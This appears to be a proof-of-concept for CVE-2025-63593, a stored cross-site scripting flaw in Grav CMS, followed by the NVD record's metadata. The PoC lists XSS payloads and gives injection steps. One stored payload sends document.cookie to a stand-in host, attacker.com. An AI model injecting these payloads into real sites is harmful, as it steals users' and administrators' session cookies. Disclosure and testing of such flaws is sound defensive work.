CVE-2025-63593

<!-- CVE-2025-63593 XSS PoC --> <!-- Stored XSS in Grav CMS user input fields --> <!-- Basic XSS Payload --> <script>alert(document.cookie)</script> <!-- Event Handler XSS --> <img src=x onerror=alert('XSS')> <!-- URL-based XSS --> https://target-grav-site.com/page?param=<script>alert(document.domain)</script> <!-- Stored XSS Example (for form submissions) --> <input type="text" value=""><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>""> <!-- PoC Execution Steps --> <!-- 1. Identify input fields in Grav CMS (forms, comments, user profiles) --> <!-- 2. Inject XSS payload into vulnerable parameter --> <!-- 3. Wait for admin/user to view the page containing malicious content --> <!-- 4. JavaScript code executes in victim's browser context -->

{"cve": {"id": "CVE-2025-63593", "sourceIdentifier": "[email protected]", "published": "2025-11-03T20:19:17.620", "lastModified": "2025-11-07T18:33:34.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grav CMS1.7.49.5 is vulnerable to Cross Site Scripting (XSS)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.7.49.5:*:*:*:*:*:*:*", "matchCriteriaId": "CB6DFFDD-85BD-43D7-B5FB-E1CC53F4C03C"}]}]}], "references": [{"url": "https://github.com/PureStream108/CVE/blob/main/CVE-2025-63593/CVE-2025-63593.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/getgrav/grav/releases/tag/1.7.49.5", "source": "[email protected]", "tags": ["Release Notes"]}]}}